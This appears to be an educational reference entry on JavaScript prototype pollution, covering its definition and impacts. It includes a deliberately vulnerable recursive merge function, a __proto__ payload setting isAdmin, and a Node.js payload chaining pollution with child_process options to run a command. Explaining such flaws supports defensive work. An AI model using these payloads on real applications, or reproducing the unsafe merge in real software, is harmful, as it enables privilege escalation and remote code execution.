Prototype Pollution
HighPrototype Pollution
Definition
Prototype Pollution is a JavaScript-specific vulnerability that lets an attacker modify the prototype of base objects (Object.prototype). By injecting properties into the prototype, every object in the application inherits them, which can lead to XSS, security bypasses or remote code execution.
Impact
Cross-Site Scripting (XSS) through gadgets in third-party librariesBypassing validations and security controlsRemote code execution on the server (Node.js)Denial of servicePrivilege escalation (isAdmin: true)
Examples
Prototype Pollution via object merge
The recursive merge function does not filter the __proto__ key. When the attacker sends JSON with __proto__, the property is assigned to Object's prototype, affecting every object in the application.
// Vulnerable merge function
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Attacker payload
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, payload);
// Now ALL objects have isAdmin: true
const user = {};
console.log(user.isAdmin); // truePrototype Pollution to RCE in Node.js
In Node.js applications, Prototype Pollution can be chained with child_process functions to achieve remote code execution, since these functions read options such as 'shell' from the prototype when they are not explicitly specified.
// If the application uses child_process.spawn/fork:
const payload = {
"__proto__": {
"shell": "/proc/self/exe",
"argv0": "console.log(require('child_process').execSync('id').toString())//"
}
};
// By polluting the prototype, when spawn runs without explicit options,
// it inherits shell and argv0 from the prototype, executing arbitrary code.